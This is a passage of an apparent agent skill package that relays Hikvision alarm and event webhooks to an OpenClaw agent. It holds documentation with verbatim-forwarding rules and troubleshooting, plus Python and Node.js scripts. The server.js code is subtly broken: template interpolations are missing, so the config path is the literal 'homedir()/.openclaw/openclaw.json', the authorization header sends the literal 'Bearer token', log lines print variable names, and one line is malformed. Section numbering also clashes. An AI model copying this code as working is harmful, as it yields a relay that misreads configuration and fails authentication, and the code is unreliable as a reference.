| `success` | Boolean | Whether operation was successful. `true` means success, `false` means failure. |
| `message` | String | Operation result or error description information. |
| `errorCode` | String | Error code, `0` means success, other values are specific error codes. |
**For `query` command:**
| Field | Type | Description |
|:-------------------------|:--------|:---------------------------------------------------------------------------|
| `success` | Boolean | Whether operation was successful. |
| `data.isSubscribe` | Boolean | Whether subscribed. `true` means subscribed, `false` means not subscribed. |
| `data.subscribeType` | Integer | Subscription type. `0`: Partial subscription, `1`: Full subscription. |
| `data.subscribeTypeText` | String | Text description of subscription type. |
| `data.events` | Array | List of event type codes user has subscribed to. |
---
## 8. Message Display Format and Agent Processing
### 5.1 Message Structure
Webhook service will format received raw JSON into readable text, and forward through OpenClaw Hooks. Below is formatted message example:
```text
📦 HCT Open Webhook Push (batchId: 1a2b3c4d...)
Alarms: 1
---
🚨 Alarm: Human Detection
Device: Small Cup
Type: alarmCategoryVideo/alarmSubCategoryPersonDetect
Time: 2026-04-16 14:20:00
Level: High
Serial Number: D72821502
```
---
## 5.2 Agent Message Processing Rules
> **⚠️ Critical: Agent Must Forward Messages Exactly As-Received**
> When the Agent receives a webhook message via OpenClaw Hooks, it must **forward the message content exactly as-is** to the notification channel.
**Required Behavior:**
- ✅ **DO**: Forward the received message content verbatim to the user
- ✅ **DO**: Send the message to the configured notification channel (Feishu/Telegram/etc.)
- ❌ **DO NOT**: Summarize, interpret, or rephrase the message
- ❌ **DO NOT**: Translate the message (e.g., from Chinese to English or vice versa)
- ❌ **DO NOT**: Add comments, analysis, or extra explanations
- ❌ **DO NOT**: Reformat or restructure the message content
**Why This Matters:**
The `server.js` service already formats the webhook payload into a human-readable format. The Agent's only job is to deliver this formatted message to the user without any further processing. Adding summaries or translations introduces noise and delays, and may strip important technical details that the user needs.
**If the Agent fails to follow these rules**, it means the instruction was not clear enough — please report this so the skill documentation can be improved.
---
## 9. Troubleshooting
| Symptom | Most Likely Cause | Fix |
|---------------------------------------------------------|-------------------------------------------------------|-----------------------------------------------------------------------------------------------|
| Webhook registration fails | server.js not running or URL not accessible | `curl http://localhost:3090/health`; verify public URL from outside |
| Registration succeeds but no alarms | Third-party service (Pipedream/Lambda) used | ❌ Cannot forward to internal OpenClaw. Use tunnel or same-server setup |
| Hooks returns 404 | basePath incorrectly included in `OPENCLAW_HOOKS_URL` | Use `http://127.0.0.1:<port>/hooks/agent` — no basePath |
| Hooks returns `[RELAY NETWORK ERROR]` | Wrong port, wrong token, or gateway down | Verify `OPENCLAW_HOOKS_URL` port matches `gateway.port`; token matches `hooks.token` |
| User gets no notification | server.js stopped, or Feishu card permission missing | Check `curl localhost:3090/health`; enable "card messages" permission in Feishu Open Platform |
| ngrok shows ERR_NGROK_4018 | Missing authtoken | Run `ngrok config add-authtoken <your-authtoken>` |
| gateway "hooks.token must not match gateway auth.token" | tokens are identical | `openssl rand -hex 24` → update hooks.token in openclaw.json → restart gateway |
**Quick verification:**
```bash
curl http://localhost:3090/health
curl -s -o /dev/null -w "%{http_code}" https://<your-url>/hikvision/webhook
curl -X POST http://127.0.0.1:<port>/hooks/agent -H "Authorization: Bearer <token>" -d '{"test":"ping"}'
```
---
## 10. File Structure
```
Hik-Connect_Team_Alarm/
├── SKILL.md # This document
├── EVENT_CODES.md # Event type reference
└── scripts/
├── pre_check.py # Phase 0: OpenClaw hooks pre-check (run FIRST)
├── server.js # Webhook receiving service
├── webhook_manager.py # Webhook configuration management
├── event_manager.py # Event subscription management
└── package.json # Node.js dependencies
```
---
**Error Codes**:
| Return Code | Return Message | Description |
|-------------|------------------------------|-------------------------------------------------------------------------------------------------|
| CCF000001 | Webhook configuration failed | Webhook configuration failed. Please check the correctness of the public URL and the signature. |
---
FILE:modules/Hik-Connect_Team_Alarm/scripts/event_manager.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
HCTOpen Event Manager
"""
import sys
import os
import json
import argparse
from datetime import datetime
# Robust lib directory import logic
def setup_lib_path():
current_dir = os.path.dirname(os.path.abspath(__file__))
root_dir = current_dir
for _ in range(3):
root_dir = os.path.dirname(root_dir)
potential_lib = os.path.join(root_dir, "lib")
if os.path.exists(potential_lib):
if potential_lib not in sys.path:
sys.path.insert(0, potential_lib)
return True
return False
if not setup_lib_path():
print("[ERROR] Cannot find lib directory")
sys.exit(1)
from token_manager import HCTOpenClient
class EventManager(HCTOpenClient):
"""Event subscription management client"""
def subscribe(self, msg_types: list = None):
"""Subscribe to events"""
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Subscribing to events: {msg_types if msg_types else 'All events'}")
endpoint = "/api/hccgw/rawmsg/v1/mq/subscribe"
payload = {
"subscribeType": 1,
"msgType": msg_types if msg_types else []
}
result = self.request("POST", endpoint, json_data=payload, token_header_key="Token")
if result.get("errorCode") == "0":
print("[SUCCESS] Event subscription successful")
self.exit_with_json({"success": True, "message": "Event subscription successful"})
else:
print(f"[ERROR] Subscription failed: {result.get('message', 'Unknown error')}")
self.exit_with_json({"success": False, "message": result.get("message", "Unknown error"), "errorCode": result.get("errorCode")})
def unsubscribe(self, msg_types: list = None):
"""Unsubscribe from events"""
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Unsubscribing from events: {msg_types if msg_types else 'All events'}")
endpoint = "/api/hccgw/rawmsg/v1/mq/subscribe"
payload = {
"subscribeType": 0,
"msgType": msg_types if msg_types else []
}
result = self.request("POST", endpoint, json_data=payload, token_header_key="Token")
if result.get("errorCode") == "0":
print("[SUCCESS] Event unsubscription successful")
self.exit_with_json({"success": True, "message": "Event unsubscription successful"})
else:
print(f"[ERROR] Unsubscription failed: {result.get('message', 'Unknown error')}")
self.exit_with_json({"success": False, "message": result.get("message", "Unknown error"), "errorCode": result.get("errorCode")})
def query(self):
"""Query current subscription status"""
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Querying current subscription status...")
endpoint = "/api/hccgw/rawmsg/v1/mq/info/subscribe"
result = self.request("GET", endpoint, token_header_key="Token")
if result.get("errorCode") == "0":
data = result.get("data", {})
is_sub = data.get("isSubscribe", False)
sub_type = "Full subscription" if data.get("subscribeType") == 1 else "Partial subscription"
events = data.get("events", [])
print(f"[SUCCESS] Query successful: {'Subscribed' if is_sub else 'Not subscribed'} ({sub_type})")
if events:
print(f"Subscribed event list: {', '.join(events)}")
self.exit_with_json({
"success": True,
"data": {
"isSubscribe": is_sub,
"subscribeType": data.get("subscribeType"),
"subscribeTypeText": sub_type,
"events": events
}
})
else:
print(f"[ERROR] Query failed: {result.get('message', 'Unknown error')}")
self.exit_with_json({"success": False, "message": result.get("message", "Unknown error"), "errorCode": result.get("errorCode")})
def main():
parser = argparse.ArgumentParser(description="HCTOpen Event Subscription Management")
subparsers = parser.add_subparsers(dest="command", help="Operation command")
# Subscribe command
sub_parser = subparsers.add_parser("subscribe", help="Subscribe to events")
sub_parser.add_argument("--types", help="Comma-separated event type list (e.g. Msg330001,Msg330002), leave empty to subscribe to all")
# Unsubscribe command
unsub_parser = subparsers.add_parser("unsubscribe", help="Unsubscribe from events")
unsub_parser.add_argument("--types", help="Comma-separated event type list, leave empty to unsubscribe from all")
# Query command
subparsers.add_parser("query", help="Query current subscription status")
args = parser.parse_args()
client = EventManager()
if args.command == "subscribe":
msg_types = [t.strip() for t in args.types.split(',') if t.strip()] if args.types else []
client.subscribe(msg_types)
elif args.command == "unsubscribe":
msg_types = [t.strip() for t in args.types.split(',') if t.strip()] if args.types else []
client.unsubscribe(msg_types)
elif args.command == "query":
client.query()
else:
parser.print_help()
if __name__ == "__main__":
main()
FILE:modules/Hik-Connect_Team_Alarm/scripts/package.json
{
"name": "hikvision-webhook",
"version": "1.0.0",
"description": "HikCentral Connect OpenAPI Webhook receiver with dedup & OpenClaw relay",
"type": "module",
"scripts": {
"start": "node server.js",
"dev": "node --watch server.js"
},
"dependencies": {
"express": "^4.21.0"
}
}
FILE:modules/Hik-Connect_Team_Alarm/scripts/pre_check.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
HCT Alarm - OpenClaw Hooks Pre-Check
Checks whether OpenClaw hooks are properly configured and reachable.
Run this BEFORE any other alarm configuration steps.
"""
import sys
import os
import json
import urllib.request
import urllib.error
import argparse
from datetime import datetime
OPENCLAW_CFG = os.path.expanduser("~/.openclaw/openclaw.json")
CHECKS = []
def log(status, msg):
symbol = {"OK": "✓", "FAIL": "✗", "SKIP": "⊘", "INFO": "ℹ"}.get(status, "?")
print(f" [{status}] {msg}")
CHECKS.append({"status": status, "msg": msg})
def check_config_file():
if not os.path.exists(OPENCLAW_CFG):
log("FAIL", f"Config file not found: {OPENCLAW_CFG}")
return False
try:
with open(OPENCLAW_CFG, "r") as f:
json.load(f)
log("OK", "Config file is valid JSON")
return True
except json.JSONDecodeError as e:
log("FAIL", f"Config file is not valid JSON: {e}")
return False
def check_hooks_enabled():
with open(OPENCLAW_CFG, "r") as f:
config = json.load(f)
hooks = config.get("hooks", {})
if hooks.get("enabled") is True:
log("OK", "hooks.enabled = true")
return True
log("FAIL", "hooks.enabled is not true (or hooks section missing)")
return False
def check_hooks_token():
with open(OPENCLAW_CFG, "r") as f:
config = json.load(f)
hooks = config.get("hooks", {})
token = hooks.get("token", "")
if token and isinstance(token, str) and len(token) > 0:
log("OK", f"hooks.token is set ({len(token)} chars)")
return True, token
log("FAIL", "hooks.token is missing or empty")
return False, None
def check_token_not_same_as_gateway():
with open(OPENCLAW_CFG, "r") as f:
config = json.load(f)
hooks = config.get("hooks", {})
gateway = config.get("gateway", {})
hooks_token = hooks.get("token", "")
gateway_token = gateway.get("auth", {}).get("token", "")
if hooks_token and gateway_token and hooks_token == gateway_token:
log("FAIL", "hooks.token must be different from gateway.auth.token")
return False
log("OK", "hooks.token differs from gateway.auth.token")
return True
def check_gateway_port():
with open(OPENCLAW_CFG, "r") as f:
config = json.load(f)
gateway = config.get("gateway", {})
port = gateway.get("port", "")
if port:
log("OK", f"gateway.port = {port}")
return True, port
log("FAIL", "gateway.port is not set")
return False, None
def check_hooks_reachable(hooks_token, port):
url = f"http://127.0.0.1:{port}/hooks/agent"
body = json.dumps({"source": "pre_check"}).encode("utf-8")
req = urllib.request.Request(
url,
data=body,
headers={
"Authorization": f"Bearer {hooks_token}",
"Content-Type": "application/json",
},
method="POST",
)
try:
with urllib.request.urlopen(req, timeout=5) as resp:
code = resp.status
data = resp.read().decode("utf-8")
log("OK", f"Hooks endpoint reachable (HTTP {code})")
return True
except urllib.error.HTTPError as e:
body = e.read().decode("utf-8", errors="replace")
if e.code == 400 and "message required" in body.lower():
log("OK", f"Hooks endpoint reachable (HTTP 400 — endpoint alive, needs message body)")
return True
log("FAIL", f"HTTP {e.code}: {body[:100]}")
return False
except urllib.error.URLError as e:
log("FAIL", f"Cannot reach OpenClaw gateway: {e.reason}")
return False
except Exception as e:
log("FAIL", f"Unexpected error: {e}")
return False
def main():
parser = argparse.ArgumentParser(description="OpenClaw Hooks Pre-Check for HCT Alarm")
parser.add_argument("--json", action="store_true", help="Output results as JSON")
args = parser.parse_args()
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] OpenClaw Hooks Pre-Check")
print("=" * 50)
all_passed = True
if not check_config_file():
all_passed = False
if not check_hooks_enabled():
all_passed = False
token_ok, hooks_token = check_hooks_token()
if not token_ok:
all_passed = False
if not check_token_not_same_as_gateway():
all_passed = False
port_ok, port = check_gateway_port()
if not port_ok:
all_passed = False
if token_ok and port_ok:
if not check_hooks_reachable(hooks_token, port):
all_passed = False
else:
log("SKIP", "Skipping reachability check (config not ready)")
print("=" * 50)
if all_passed:
print("[RESULT] ✓ All checks passed. OpenClaw hooks are ready.")
else:
print("[RESULT] ✗ Some checks failed. Fix the issues above before proceeding.")
if args.json:
print(json.dumps({"ok": all_passed, "checks": CHECKS}, indent=2, ensure_ascii=False))
return 0 if all_passed else 1
if __name__ == "__main__":
sys.exit(main())
FILE:modules/Hik-Connect_Team_Alarm/scripts/server.js
/**
* HikCentral Connect OpenAPI V2.15 — Webhook Receiving Service
*
* Features:
* 1. Receive HCT Open Webhook pushes (Alarms + Events)
* 2. HMAC-SHA256 signature verification (X-Hook-Signature)
* 3. Configurable window deduplication (same device, same type)
* 4. Forward to OpenClaw hooks endpoint → Notification
* 5. Extract capture URLs, Agent sends images directly
* 6. Auto-detect OpenClaw Gateway port
* 7. Startup connection check
*/
import crypto from 'crypto';
import express from 'express';
import { readFileSync, existsSync } from 'fs';
import { homedir } from 'os';
// ============ Default Values ============
// DEFAULT_WEBHOOK_PORT
const DEFAULT_WEBHOOK_PORT = 3090;
// ============ Helper: Detect OpenClaw Gateway Port ============
function detectOpenClawPort() {
const configPath = `homedir()/.openclaw/openclaw.json`;
try {
if (existsSync(configPath)) {
const content = readFileSync(configPath, 'utf-8');
// Remove comments if any (simple JSON doesn't have comments, but just in case)
const json = JSON.parse(content);
const port = json?.gateway?.port;
if (port && typeof port === 'number') {
return port;
}
}
} catch (err) {
console.error(`[FATAL] Failed to read gateway port from configPath: err.message`);
}
throw new Error(`OpenClaw gateway port not found in configPath. Please ensure gateway is configured and hooks are enabled.`);
}
// ============ Helper: Check OpenClaw Connection ============
async function checkOpenClawConnection(url, token) {
console.log(`[CHECK] Testing OpenClaw connection at url...`);
try {
const res = await fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
...(token ? { 'Authorization': `Bearer token` } : {}),
},
body: JSON.stringify({ test: 'ping' }),
signal: AbortSignal.timeout(5000),
});
// 400 means endpoint exists but missing required field (e.g. "message required"), indicating hooks middleware is registered
if (res.ok || res.status === 400) {
console.log(`[CHECK] ✓ OpenClaw hooks is reachable (status res.status)`);
return true;
} else {
console.error(`[CHECK] ✗ OpenClaw returned status res.status`);
return false;
}
} catch (err) {
console.error(`[CHECK] ✗ Cannot reach OpenClaw at url`);
console.error(`[CHECK] Error: err.message`);
console.error(`[CHECK] Please verify:`);
console.error(`[CHECK] 1. OpenClaw Gateway is running: openclaw gateway status`);
console.error(`[CHECK] 2. Port is correct (detected: detectOpenClawPort())`);
console.error(`[CHECK] 3. Or set OPENCLAW_HOOKS_URL environment variable`);
return false;
}
}
// ============ Configuration ============
const detectedPort = detectOpenClawPort();
const defaultOpenClawUrl = `http://127.0.0.1:detectedPort/hooks/agent`;
// Sign secret: MUST be provided via environment variable
const signSecretFromEnv = process.env.HIK_SIGN_SECRET;
if (!signSecretFromEnv) {
console.error('[FATAL] HIK_SIGN_SECRET environment variable is not set.');
console.error('[FATAL] Please set HIK_SIGN_SECRET before starting the webhook service.');
console.error('[FATAL] Example: HIK_SIGN_SECRET="your-custom-secret" node server.js');
process.exit(1);
}
const signSecret = signSecretFromEnv;
const CONFIG = {
port: parseInt(process.env.PORT || String(DEFAULT_WEBHOOK_PORT), 10),
// HCT Open Webhook Secret (signSecret specified when registering webhook)
signSecret: signSecret,
// OpenClaw hooks configuration
openclaw: {
url: process.env.OPENCLAW_HOOKS_URL || defaultOpenClawUrl,
token: process.env.OPENCLAW_HOOKS_TOKEN || '',
// Supports all OpenClaw channels: feishu, telegram, discord, slack, whatsapp, signal, etc.
channel: process.env.OPENCLAW_CHANNEL || '',
to: process.env.OPENCLAW_TO || '',
},
// Deduplication window (milliseconds), default 1 minute
dedupWindowMs: parseInt(process.env.DEDUP_WINDOW_MS || '60000', 10),
// Request timeout (HCT Open requires response within 5 seconds)
responseTimeoutMs: 4000,
};
// ============ Print Configuration ============
function printConfig() {
console.log('');
console.log('═══════════════════════════════════════════════════════════');
console.log(' CONFIGURATION SUMMARY ');
console.log('═══════════════════════════════════════════════════════════');
console.log(` Webhook Port: CONFIG.port`);
console.log(` Sign Secret: ***configured***`);
console.log(` OpenClaw URL: CONFIG.openclaw.url`);
console.log(` OpenClaw Token: 'NOT SET ⚠️'`);
console.log(` Notify Channel: CONFIG.openclaw.channel`);
console.log(` Notify Target: CONFIG.openclaw.to || 'NOT SET ⚠️'`);
console.log(` Dedup Window: CONFIG.dedupWindowMs / 1000s`);
console.log('═══════════════════════════════════════════════════════════');
if (!CONFIG.openclaw.to || !CONFIG.openclaw.channel) {
console.log('');
console.log('╔══════════════════════════════════════════════════════════╗');
console.log('║ [FATAL] Missing required configuration ║');
console.log('╠══════════════════════════════════════════════════════════╣');
if (!CONFIG.openclaw.channel) {
console.log('║ OPENCLAW_CHANNEL is not set ║');
console.log('║ Please set: export OPENCLAW_CHANNEL="feishu" ║');
}
if (!CONFIG.openclaw.to) {
console.log('║ OPENCLAW_TO is not set ║');
console.log('║ Please set: export OPENCLAW_TO="user_open_id" ║');
}
console.log('╚══════════════════════════════════════════════════════════╝');
console.log('');
console.log('Without these, notifications cannot be delivered. Exiting.');
process.exit(1);
}
console.log('');
}
// ============ Deduplication Cache ============
const dedupCache = new Map();
function dedupKey(item) {
if (item.type === 'alarm') {
const src = item.eventSource;
return `alarm:src?.sourceID || '':item.alarmMainCategory || '':item.alarmSubCategory || ''`;
}
if (item.type === 'event') {
return `event:item.basicInfo?.eventType || '':item.basicInfo?.device?.id || ''`;
}
return `item.type:item.guid || JSON.stringify(item).slice(0, 200)`;
}
function isDuplicate(key) {
const now = Date.now();
const cached = dedupCache.get(key);
if (cached && now - cached < CONFIG.dedupWindowMs) return true;
dedupCache.set(key, now);
// Periodically clean up expired cache
if (dedupCache.size > 1000) {
for (const [k, v] of dedupCache) {
if (now - v > CONFIG.dedupWindowMs) dedupCache.delete(k);
}
}
return false;
}
// ============ Signature Verification ============
function verifySignature(headers, batchId) {
if (!CONFIG.signSecret) {
console.warn('[WARN] HIK_SIGN_SECRET not set, skipping signature verification');
return true;
}
const signature = headers['x-hook-signature'] || headers['X-Hook-Signature'];
const timestamp = headers['x-hook-timestamp'];
if (!signature || !timestamp) {
console.warn('[WARN] Missing signature headers');
return false;
}
const tsDiff = Math.abs(Date.now() - parseInt(timestamp, 10));
if (tsDiff > 60 * 1000) {
console.warn(`[WARN] Timestamp drift too large: tsDiffms`);
return false;
}
const message = `timestamp.batchId`;
const mac = crypto.createHmac('sha256', CONFIG.signSecret).update(message).digest('hex');
const expected = `sha256=mac`;
if (signature !== expected) {
console.warn(`[WARN] Signature mismatch: expected=expected, got=signature`);
return false;
}
return true;
}
// ============ Format Alarm Messages ============
const LEVEL_MAP = { 1: 'High', 2: 'Medium', 3: 'Low' };
// Event code to description mapping
const EVENT_CODE_MAP = {
// Video Intercom
'Msg140001': 'Messages about video intercom events',
// On-Board Monitoring
'Msg330001': 'GPS Data Report',
'Msg330101': 'Alarm Triggered by Panic Button',
'Msg330102': 'Alarm Input',
'Msg330201': 'Forward Collision Warning',
'Msg330202': 'Headway Monitoring Warning',
'Msg330203': 'Lane Deviation Warning',
'Msg330204': 'Pedestrian Collision Warning',
'Msg330205': 'Speed Limit Warning',
'Msg330301': 'Blind Spot Warning',
'Msg330401': 'Sharp Turn',
'Msg330402': 'Sudden Brake',
'Msg330403': 'Sudden Acceleration',
'Msg330404': 'Rollover',
'Msg330405': 'Speeding',
'Msg330406': 'Collision',
'Msg330407': 'ACC ON',
'Msg330408': 'ACC OFF',
'Msg330501': 'Smoking',
'Msg330502': 'Using Mobile Phone',
'Msg330503': 'Fatigue Driving',
'Msg330504': 'Distraction',
'Msg330505': 'Seatbelt Unbuckled',
'Msg330506': 'Video Tampering',
'Msg330507': 'Yawning',
'Msg330508': 'Wearing IR Interrupted Sunglasses',
'Msg330509': 'Absence',
'Msg330510': 'Front Passenger Detection',
'Msg335000': 'Person and Vehicle Match',
'Msg335001': 'Person and Vehicle Mismatch',
// Authentication Event
'Msg110001': 'Access Granted by Card and Fingerprint',
'Msg110002': 'Access Granted by Card, Fingerprint, and PIN',
'Msg110003': 'Access Granted by Card',
'Msg110004': 'Access Granted by Card and PIN',
'Msg110005': 'Access Granted by Fingerprint',
'Msg110006': 'Access Granted by Fingerprint and PIN',
'Msg110007': 'Duress Alarm',
'Msg110008': 'Access Granted by Face and Fingerprint',
'Msg110009': 'Access Granted by Face and PIN',
'Msg110010': 'Access Granted by Face and Card',
'Msg110011': 'Access Granted by Face, PIN, and Fingerprint',
'Msg110012': 'Access Granted by Face, Card, and Fingerprint',
'Msg110013': 'Access Granted by Face',
'Msg110018': 'Access Granted via Combined Authentication Modes',
'Msg110019': 'Skin-Surface Temperature Measured',
'Msg110020': 'Password Authenticated',
'Msg110022': 'Access Granted by Bluetooth',
'Msg110023': 'Access Granted via QR Code',
'Msg110024': 'Access Granted via Keyfob',
'Msg110501': 'Verifying Card Encryption Failed',
'Msg110502': 'Max. Card Access Failed Attempts',
'Msg110505': 'Card No. Expired',
'Msg110506': 'Access Timed Out by Card and PIN',
'Msg110507': 'Access Denied - Door Remained Locked or Inactive',
'Msg110509': 'Access Denied by Card and PIN',
'Msg110510': 'Access Timed Out by Card, Fingerprint, and PIN',
'Msg110511': 'Access Denied by Card, Fingerprint, and PIN',
'Msg110512': 'Access Denied by Card and Fingerprint',
'Msg110513': 'Access Timed Out by Card and Fingerprint',
'Msg110514': 'No Access Level Assigned',
'Msg110515': 'Card No. Does Not Exist',
'Msg110516': 'Invalid Time Period',
'Msg110517': 'Fingerprint Does Not Exist',
'Msg110518': 'Access Denied by Fingerprint',
'Msg110519': 'Access Denied by Fingerprint and PIN',
'Msg110520': 'Access Timed Out by Fingerprint and PIN',
'Msg110521': 'Access Denied by Face and Fingerprint',
'Msg110522': 'Access Timed Out by Face and Fingerprint',
'Msg110523': 'Access Denied by Face and PIN',
'Msg110524': 'Access Timed Out by Face and PIN',
'Msg110525': 'Access Denied by Face and Card',
'Msg110526': 'Access Timed Out by Face and Card',
'Msg110527': 'Access Denied by Face, PIN, and Fingerprint',
'Msg110528': 'Access Timed Out by Face, PIN, and Fingerprint',
'Msg110529': 'Access Denied by Face, Card, and Fingerprint',
'Msg110530': 'Access Timed Out by Face, Card, and Fingerprint',
'Msg110531': 'Access Denied by Face',
'Msg110533': 'Live Facial Detection Failed',
'Msg110545': 'Combined Authentication Timed Out',
'Msg110546': 'Access Denied by Invalid M1 Card',
'Msg110547': 'Verifying CPU Card Encryption Failed',
'Msg110548': 'Access Denied - NFC Card Reading Disabled',
'Msg110549': 'EM Card Reading Not Enabled',
'Msg110550': 'M1 Card Reading Not Enabled',
'Msg110551': 'CPU Card Reading Disabled',
'Msg110552': 'Authentication Mode Mismatch',
'Msg110554': 'Max. Card and Password Authentication Times',
'Msg110555': 'Password Mismatches',
'Msg110556': 'Employee ID Does Not Exist',
'Msg110557': 'Access Denied: Scheduled Sleep Mode',
'Msg110559': 'Verifying Desfire Card Encryption Failed',
'Msg110560': 'Absence',
'Msg110561': 'Authentication Failed Due to Abnormal Features',
'Msg110564': 'Access Denied by Bluetooth',
'Msg110565': 'Access Denied by QR Code',
'Msg110566': 'Verifying QR Code Secret Key Failed',
'Msg110567': 'Access Denied via Keyfob'
};
function formatAlarmItem(item) {
const src = item.eventSource || {};
const dev = src.deviceInfo || {};
const time = item.timeInfo?.startTime || '';
const rule = item.alarmRule || {};
const priority = item.alarmPriority || {};
// Simplify time format
const shortTime = time;
return [
`🚨 Alarm: rule.name || item.alarmSubCategory || 'Unknown Alarm'`,
`Device: src.sourceName || dev.devName || 'Unknown Device'`,
`Type: item.alarmMainCategory/item.alarmSubCategory`,
`Time: shortTime`,
`Level: priority.levelName || LEVEL_MAP[priority.level] || 'Level ${priority.level'}`,
].filter(Boolean).join('\n');
}
function formatEventItem(item) {
const basic = item.basicInfo || {};
const dev = basic.device || {};
// Get event code and map to description
const eventCode = item.basicInfo?.msgType || '';
const eventDescription = EVENT_CODE_MAP[eventCode] || eventCode || 'Unknown';
return [
`📡 Event: eventDescription`,
`Device: dev.name || 'Unknown'`,
`Time: basic.occurrenceTime || ''`,
dev.deviceSerial ? `Serial: dev.deviceSerial` : '',
].filter(Boolean).join('\n');
}
function buildPayload(body) {
const { batchId, list } = body;
const messages = [];
let alarmCount = 0;
let eventCount = 0;
for (const item of list || []) {
const key = dedupKey(item);
if (isDuplicate(key)) {
console.log(`[DEDUP] Skipped duplicate: key`);
continue;
}
if (item.type === 'alarm') {
alarmCount++;
messages.push(formatAlarmItem(item));
} else if (item.type === 'event') {
eventCount++;
messages.push(formatEventItem(item));
}
}
if (messages.length === 0) return null;
return [
`📦 HCT Open Webhook Push (batchId: batchId?.slice(0, 8)...)`,
alarmCount ? `Alarms: alarmCount` : '',
eventCount ? `Events: eventCount` : '',
`---`,
...messages,
].filter(Boolean).join('\n\n');
}
// ============ Relay to OpenClaw ============
async function relayToOpenClaw(message) {
if (!CONFIG.openclaw.url || !CONFIG.openclaw.token) {
console.error('[RELAY] OPENCLAW_HOOKS_URL or OPENCLAW_HOOKS_TOKEN is not configured. Please set it before starting the webhook service.');
return;
}
try {
const res = await fetch(CONFIG.openclaw.url, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': `Bearer CONFIG.openclaw.token`,
},
body: JSON.stringify({
message: message,
channel: CONFIG.openclaw.channel,
to: CONFIG.openclaw.to,
}),
signal: AbortSignal.timeout(10000),
});
const data = await res.json().catch(() => ({}));
if (res.ok) {
console.log('[RELAY] OpenClaw hooks OK, runId:', data.runId || data.id || 'unknown');
} else {
console.error('[RELAY] OpenClaw hooks error:', res.status, JSON.stringify(data));
}
} catch (err) {
console.error('[RELAY] OpenClaw hooks network error:', err.message);
}
}
// ============ Express App ============
const app = express();
app.use('/hikvision/webhook', express.json({ limit: '10mb' }));
// Health Check
app.get('/health', (req, res) => {
res.json({
status: 'ok',
uptime: process.uptime(),
dedupCacheSize: dedupCache.size,
config: {
port: CONFIG.port,
openclawUrl: CONFIG.openclaw.url,
hasToken: !!CONFIG.openclaw.token,
hasTarget: !!CONFIG.openclaw.to,
}
});
});
// GET Request — HCT Open URL Verification Callback
app.get('/hikvision/webhook', (req, res) => {
const batchId = req.headers['x-hook-batch-id'];
const timestamp = req.headers['x-hook-timestamp'];
console.log(`[VERIFY] URL verification request (batchId=batchId)`);
if (!CONFIG.signSecret) {
console.error('[VERIFY] Cannot verify: HIK_SIGN_SECRET not configured');
return res.status(500).send('signSecret not configured');
}
if (!batchId || !timestamp) {
return res.status(400).send('Missing X-Hook-Batch-Id or X-Hook-Timestamp');
}
const message = `timestamp.batchId`;
const mac = crypto.createHmac('sha256', CONFIG.signSecret).update(message).digest('hex');
res.setHeader('x-hook-signature', `sha256=mac`);
res.status(200).send('OK');
});
// POST Request — Receive Alarm/Event Push
app.post('/hikvision/webhook', async (req, res) => {
const startTime = Date.now();
const batchId = req.body?.batchId;
const list = req.body?.list || [];
console.log(`[IN] batchId=batchId, items=list.length`);
// 1. Verify Signature
if (!verifySignature(req.headers, batchId)) {
console.warn('[REJECT] Invalid signature');
return res.status(401).json({ error: 'Invalid signature' });
}
// 2. Return 200 immediately (HCT Open requires within 5s)
res.json({ received: true, batchId, count: list.length });
console.log(`[ACK] Responded in Date.now() - startTimems`);
// 3. Asynchronous processing
try {
const message = buildPayload(req.body);
if (message) {
await relayToOpenClaw(message);
} else {
console.log('[SKIP] All items were duplicates');
}
} catch (err) {
console.error(`[ERROR] Processing failed: err.message`);
}
});
// ============ Startup ============
async function main() {
// Print configuration summary (exits if required config missing)
printConfig();
// Additional startup validation
const missing = [];
if (!CONFIG.openclaw.url) missing.push('OPENCLAW_HOOKS_URL');
if (!CONFIG.openclaw.token) missing.push('OPENCLAW_HOOKS_TOKEN');
if (!CONFIG.openclaw.channel) missing.push('OPENCLAW_CHANNEL');
if (!CONFIG.openclaw.to) missing.push('OPENCLAW_TO');
if (missing.length > 0) {
console.error('[FATAL] Missing required environment variables:', missing.join(', '));
console.error('[FATAL] Cannot start webhook service. Please set them before running server.js');
process.exit(1);
}
// Check OpenClaw connection
await checkOpenClawConnection(CONFIG.openclaw.url, CONFIG.openclaw.token);
// Start server
app.listen(CONFIG.port, () => {
console.log('');
console.log('╔══════════════════════════════════════════╗');
console.log('║ HCT Open Webhook Receiver Started ║');
console.log('╠══════════════════════════════════════════╣');
console.log(`║ Port: String(CONFIG.port).padEnd(29)║`);
console.log('║ Endpoint: POST /hikvision/webhook ║');
console.log('║ Verify: GET /hikvision/webhook ║');
console.log('║ Health: GET /health ║');
console.log('╚══════════════════════════════════════════╝');
console.log('');
console.log('Waiting for HCT Open webhook pushes...');
console.log('');
});
}
main().catch(err => {
console.error('[FATAL] Startup failed:', err);
process.exit(1);
});
FILE:modules/Hik-Connect_Team_Alarm/scripts/webhook_manager.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
HCTOpen Webhook Manager
"""
import sys
import os
import json
import argparse
from datetime import datetime
# Robust lib directory import logic
def setup_lib_path():
current_dir = os.path.dirname(os.path.abspath(__file__))
root_dir = current_dir
for _ in range(3):
root_dir = os.path.dirname(root_dir)
potential_lib = os.path.join(root_dir, "lib")
if os.path.exists(potential_lib):
if potential_lib not in sys.path:
sys.path.insert(0, potential_lib)
return True
return False
if not setup_lib_path():
print("[ERROR] Cannot find lib directory")
sys.exit(1)
from token_manager import HCTOpenClient
class WebhookManager(HCTOpenClient):
"""Webhook configuration management client"""
def query(self):
"""Query Webhook configuration"""
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Querying Webhook configuration...")
endpoint = "/api/hccgw/webhook/v1/config/query"
result = self.request("POST", endpoint, token_header_key="Token")
if result.get("errorCode") == "0":
data = result.get("data", {})
if data:
headers = ["Configuration Item", "Content"]
rows = [
["Callback URL (callbackUrl)", data.get("callbackUrl", "-")],
["Retry Count (retryTimes)", data.get("retryTimes", "-")],
["Retry Interval (retryDelay)", f"{data.get('retryDelay', '-')} ms"]
]
self.print_table("HCTOpen Webhook Current Configuration", headers, rows)
self.exit_with_json({"success": True, "data": data})
else:
